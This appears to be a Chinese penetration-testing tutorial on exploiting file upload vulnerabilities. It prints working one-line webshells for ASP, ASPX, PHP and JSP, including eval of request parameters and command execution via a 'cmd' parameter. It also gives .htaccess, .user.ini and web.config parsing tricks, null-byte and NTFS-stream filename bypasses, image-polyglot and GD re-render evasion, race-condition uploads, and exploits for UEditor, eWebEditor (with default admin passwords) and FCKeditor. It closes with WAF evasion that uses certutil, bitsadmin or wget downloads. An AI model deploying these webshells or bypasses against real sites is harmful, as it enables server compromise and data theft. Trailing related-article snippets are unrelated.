一、文件上传的目的——脚本文件

文件上传的一共可造成三种危害,从低到高分别是,任意内容文件,html文件,脚本文件。

任意内容文件

任意内容文件指的是虽然文件后缀不可控,但是文件内容可控,比如我可以上传一个内容为<?php phpinfo();?>的jpg文件。这种是未校验文件头和文件内容导致的,往往不被视为漏洞,使用它们通常需要其他漏洞结合利用,比如php cgi解析漏洞,文件包含漏洞,结合任意目录上传覆盖正常文件。

html文件

即允许上传一个html格式的文件(包括htm等),等同于存储XSS,但由于实际利用过程中必须得钓鱼,所以其危害等同于反射XSS,同时也曾有人拿这种漏洞做黑帽SEO。

由于富文本编辑的未授权上传的特殊性,结合html的特殊性,kindeditor就曾爆出这样的漏洞。

百度搜inurl:kindeditor/attached/file/

除了html文件之外,xml文件能起到同样的效果,xml xss的语句如下。

<?xml version="1.0"?>

或者

<?xml version="1.0"?>

以及svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>

但由于这种漏洞危害还是过小,所以并不受重视,Kindeditor默认支持html上传,ueditor默认支持xml上传。

脚本文件

脚本文件指可执行动态脚本,就是webshell,也是文件上传漏洞的重点,一旦出现,即使语言环境对危害函数严防死守,也会造成严重危害。

首先我们要知道有哪些脚本文件,常见的4大类,asp,aspx,php,jsp。

asp

IIS6.0默认支持,同时更高版本也通常为了兼容而支持。

IIS6.0默认还支持cer,cdx,asa三种格式以asp解析,IIS7.0及以上的版本只支持cer。

asp一句话木马和hello world

<%eval request("a")%>
<%Response.Write("hello world")%>

aspx

IIS7.0及以上默认支持,aspx没有其他格式,但有可以起到一样效果的ashx和asmx。

aspx一句话和hello world

<%@ Page Language="Jscript"%><%eval(Request.Item["a"],"unsafe");%>
<%Response.Write("hello world")%>

ashx,asmx,soap

https://github.com/luoke90hou/files/blob/main/customize.ashx

https://github.com/luoke90hou/files/blob/main/customize.asmx

https://github.com/luoke90hou/files/blob/main/Customize.soap

web.config

类似apache的.htaccess也可以让当前目录的任意后缀文件解析为asp/aspx,以下为参考。

<?xml version="1.0" encoding="UTF-8"?>
<configuration><system.webServer><handlers><add name="qqq" path="*.qqq" verb="*" modules="IsapiModule" scriptProcessor="%windir%system32inetsrvasp.dll" resourceType="Unspecified" /></handlers></system.webServer>
</configuration>

stm,shtm,shtml

不能作为木马,但可以读取web.config内容和一些信息。

<!--#ECHO var="ALL_HTTP"-->
<!--#ECHO var="DOCUMENT_NAME"-->
<!--#ECHO var="SERVER_SOFTWARE"-->
<!--#ECHO var="SERVER_NAME"-->
<!--#ECHO var="SERVER_PORT"-->
<!--#ECHO var="REMOTE_ADDR"-->
<!--#ECHO var="REMOTE_HOST"-->
<!--#ECHO var="PATH_TRANSLATED"-->
<!--#ECHO var="PATH_INFO"-->
<!--#ECHO var="HTTP_ACCEPT"-->
<!--#ECHO var="DOCUMENT_URI"-->
<!--#include file="./web.config"-->

另外,Global.asax,aspx.cs,svc,dll文件均可以在IIS中当webshell,但都需要编译,无法直接通过文件上传getshell,通常作为后门维持。

如果IIS部署了MVC3,还支持cshtml

https://github.com/luoke90hou/files/blob/main/customize.cshtml

PHP

IIS,apache,nginx均可能支持。其中apache可能默认支持从左向右识别后缀,即1.php.rar.bak,同时可能有php格式支持正则如下。

也有的版本是<FileMatch ".+.ph(p[3457]?|t|tml).">

也就是说php3,php4,php5,php7,pht,phtml,phar均有可能解析成php

除此之外,如下内容的.htaccess可支持同目录下任意格式解析成php,

AddType application/x-httpd-php .abc

.user.ini的效果和.htaccess差不多,但是必须要求同目录下有一个php文件。

auto_prepend_file=a.jpg

.htaccess只支持apache,.user.ini支持所有cgi模式启动的php

php一句话和phpinfo如下

<?php @eval($_POST['a']) ?>
<?php phpinfo();?>

jsp

tomcat,jboss,WebSphere,weblogic等java web容器均支持jsp

jsp shell和hello world如下

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
<%out.println("Hello world");%>

jspx是jsp的xml表达,shell如下

<jsp:root xmlns:jsp="Oracle Java Technologies | Oracle"  version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
</jsp:root>

war格式为jsp文件打包,通常用来快速部署网站用的,tomcat,jboss,weblogic,websphere后台均可通过部署war包来getshell。

jspf,jspa,jhtml均为额外配置脚本文件,默认无此支持

除了上述常见脚本文件之外,python网站使用py脚本,perl网站使用pl脚本和cgi脚本,ColdFusion网站使用cfm脚本,Servlet网站使用java脚本。这些均有对应的webshell。

一、文件上传可以控制的参数

靶场:https://github.com/c0ny1/upload-labs

1,前端验证,MIME验证

基本无用,抓包改包即可突破

2,目录或者文件名

现在绝大部分文件上传后都是用时间戳或者随机hash重命名,一般也不让控制目录。

如果允许完全控制文件名,或者目录,则可以尝试上传../../../testtest.php文件穿越目录。具体利用方法结合实际情况,比如绕过当前目录不解析,增加任务计划,web配置,权限足够甚至可以直接覆盖掉passwd。即使权限不够,也能尝试用恶意doc,xls,exe覆盖掉正常的文件。

如果不完全控制,也就是上传test.php.png会拼接成202004017141111111test.php.png,也可以尝试用特殊字符截断成202004017141111111test.php%00.png。不单单可以在文件名上截断,同样可以在目录上截断。

如果目录,文件名均不可控,后缀使用黑名单控制,可以参考第一章,用冷门后缀绕过。Windows服务器上还有一些其他办法。

大小写 【PhP】

自动省略最后的.和空格 【php.】【php 】

NTFS文件流【php::$DATA】Pass-08

最安全的做法就是目录,文件名均不可控,再加白名单校验后缀。此时只能尝试特殊字符截断,linux中只有00可以截断,windows中?:<>/|等不支持的字符均有可能产生截断效果。

3,文件内容控制

有时候服务器会对文件的真实性进行校验,比如检查图片文件的真实性,检查xlsx文件是否可以解析,我们就需要控制文件内容。文件内容可控点分为两部分,一是文件头,即16进制下的前几个字符,最常用的是gif文件头,GIF89au,gif文件头由于全是英文数字,比png和jpg适用性都广。

二是整个文件内容,比如对图片尺寸进行校验甚至二次渲染,单单加入文件头是无法上传的,此时必须以图片马的方式上传。

copy 1.png/b+1.php 2.png

4,绕过GD库

GD库是php的图片渲染插件,方便于把图片统一尺寸。即使是符合尺寸的图片也会被二次渲染。

这种情况下需要对比图片渲染前后未被修改的部分,在此插入payload。

绕过GD库有如下原则,图片尺寸越大越好,插入的payload越短越好,gif最容易成功,png次之,jpg最难成功。

Pass-16靶场,已成功的一个jpg

https://github.com/luoke90hou/files/blob/main/phpgd.php.jpg

参考https://xz.aliyun.com/t/2657

5,条件竞争

如果文件上传时分两步,先生成文件再校验,不合规再删除,则可以利用时间差来访问还未删除的脚本文件。也可以利用报错使删除逻辑不再执行。

条件竞争的隐藏条件就是文件路径可预测,也就是目录和文件名要固定,或者一定程度可猜解。

参考Pass-17,可以用bp大量发包上传,也可以bp大量发包访问webshell的地址,此时一般用访问即生成一个webshell的小马。

三、编辑器的漏洞

1,1.4.3 aspx ueditor

由于windows文件系统问号截断导致,可以利用远程下载功能,在恶意服务器上下载后缀为jpg的webshell。以下是exp

<form action="
http://luoke.cn/UEditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST"><p>shell addr:<input type="text" name="source[]" /></p >
0:50 2019/1/1<input type="submit" value="Submit" />
</form>

2,eWebEditor,asp

后台有默认密码admin/admin,admin/admin888,admin888/admin888,数据库地址eWebEditor/db/ewebeditor.asa

后台可直接修改样式然后预览上传webshell。

同时还有文件遍历漏洞

3,fckeditor,asp和php

均为低版本漏洞,asp需配合IIS6.0解析漏洞,上传1.asp;.png两次,第一次被重命名为1_asp;.png,第二次被重命名1.asp;(1).png

asp也可以新建1.asp的文件夹

/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2F1.asp&NewFolderName=z

php则需要配合php5.2 %00截断漏洞,在目录处截断

/fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=1.php%00.gif

四、 绕过waf拦截

文件上传绕waf,可以增加干扰让waf识别不出文件上传

如上图,boundary前后可以加空格。

Content-Disposition filename可以随意大小写

form-data可以替换成任意值

"3.php"双引号可以去掉

3.php可以换行,后面可以加%00字符

绕过waf对于文件内容的检测,可以先上传本地包含的木马,再上传加密的shellcode,或者远程包含,或者免杀+图片马的思路,也可以先上传一个写文件的木马,然后一个字符一个字符写出新的木马。

有的waf禁止上传exe或者二进制文件,可以利用系统自带的远程下载工具下载而非web层面上的上传,比如wget,curl,powershell,certutil,bitsadmin,vbs。

还有的waf会对文件大小进行检测,可以上传多个小文件,利用winrar,copy命令合并。

觉得还不错的可以关注一下公众号——珂技知识分享,有些渗透实例会发布在上面。

公众号

jsp文件上传_文件上传相关推荐

  1. ant react 上传_React实战之Ant Design—Upload上传_附件上传

    React实战之Ant Design-Upload上传_附件上传 Upload组件大家都在官方文档中看过了,但写的时候还是会遇到许多问题,一些新手看了文档后感觉无从下手,本文过多的简绍就不说了,直接看 ...

  2. java实现上传_文件上传(java)

    最近看了一本书上的代码,代码的主要功能是实现文件的上传.但是,当我运行代码的时候竟然报错了.(我用的IDEA).有错就解决吧.以下是我遇到的几个错误. 废话不多说先附上源代码. UploadServl ...

  3. java struts2 excel上传_文件上传方法,使用Struts2,实现Excel文件读取并写入数据库技术...

    文件上传方法,使用Struts2,实现Excel文件读取并写入数据库技术 如题:文件信息的批量导入-- 项目中经常会遇到客户的一些单表信息的数据批量导入,也就是提供定制Excel表,再把Excel表中 ...

  4. java上传文件的二进制_文件的上传:二进制文件的上传;

    ***二进制文件上传的方法: ***在lib目录下:导入文件上传的开源架包:commons-fileupload-1.2.1.jar,commons-io-2.0.jar: 建立Servlet类:Up ...

  5. httpclient base64 文件上传_文件上传下载

    说道文件上传下载,这个业务需求并不是很复杂思想如下 1.将文件上传到 某台服务器上的指定的路径下也可以这样理解 文件上传就是将本地图片发送到别的地方,下载就是将别的地方的图片放在本地 2.将路径同文件 ...

  6. transferto 文件不存在_文件上传时,MultipartFile.transferTo() 方法报 FileNotFoundException...

    Spring Upload File 报错FileNotFoundException 环境: Springboot2.0.4JDK1.8内嵌 Apache Tomcat/8.5.32 1.前端代码 前 ...

  7. python分片上传_分片上传_分片上传_上传文件_Python_SDK 示例_对象存储 OSS - 阿里云...

    OSS提供的分片上传(Multipart Upload)功能,将要上传的较大文件(Object)分成多个数据块(Part)来分别上传,上传完成后再调用CompleteMultipartUpload接口 ...

  8. channelsftp 上传文件为空_文件上传踩坑记及文件清理原理探究

    目录 1. 糟糕的异步存储文件实现 2. 异常原因推理 3. 问题解决方式 4. spring清理文件原理 5. tomcat清理文件原理 最近搞一个文件上传功能,由于文件太大,或者说其中包含了比较多 ...

  9. java 实现文件秒传_文件传输和秒传

    InetAddress类: InetAddress类是IP地址的封装类,就是把设定的某个ip封装成InetAddress对象,然后使用这个对象能够进行相关的操作.例如获取域名或主机名.上网ip等等.这 ...

最新文章

  1. jquery将html转为pdf文件,通过Jquery将HTML Div转换为PDF
  2. Java Web知识梳理
  3. 《LeetCode力扣练习》第75题 颜色分类 Java
  4. 解决MPLAB X IDE的文件注释出现乱码的问题
  5. python基础教程:常量 (最全常量解析)
  6. .NET Core 2.x中使用Named Options处理多个强类型配置实例
  7. django后台数据管理admin设置代码
  8. 质数的和与积(信息学奥赛一本通-T1405)
  9. html居中代码logo,关于logo(前端开发教程)垂直居中的问题
  10. 你可能小赚,但苹果永远不亏!华强北老板说一台新iPhone只赚10块钱?
  11. 卷积神经网络处理猫和狗图片
  12. idea 引入包报错:Unable to provision, see the following errors
  13. 人脸识别c语言正方形,Matlab实现的基于FLD的人脸识别系统源代码
  14. 力扣报错 error: <identifier> expected
  15. android手机怎么上卡,安卓手机卡慢怎么办 安卓手机卡慢解决方案【详解】
  16. FPGA数字时钟系统-设计教程
  17. Android 监听屏幕唤醒和关闭的广播
  18. RA layer request failed
  19. 人工智能——问题求解
  20. 红孩子:基于网络的渠道增值

热门文章

  1. 中英文字体名字对应表
  2. 客户端控件调用服务器的参数
  3. InstallShild的研究,msde2000,.netframwork,ScriptProject与ScriiptMSIProject的区别
  4. 图像灰度图,直方图,像素通道问题
  5. 栈区,堆区,全局区,文字常量区,程序代码区详解(程序中不同类型数据所在区)
  6. java第三周学习总结
  7. python拼接字符串的方法_python—字符串拼接三种方法
  8. 调节树莓派终端窗口的字体大小
  9. 四川大学计算机学院 期末考试安排,四川大学《计算机组成原理》2018期末考试B卷.doc...
  10. 安全方向比路由交换难吗_「网工进阶」路由交换:链路聚合的配置,你都会吗...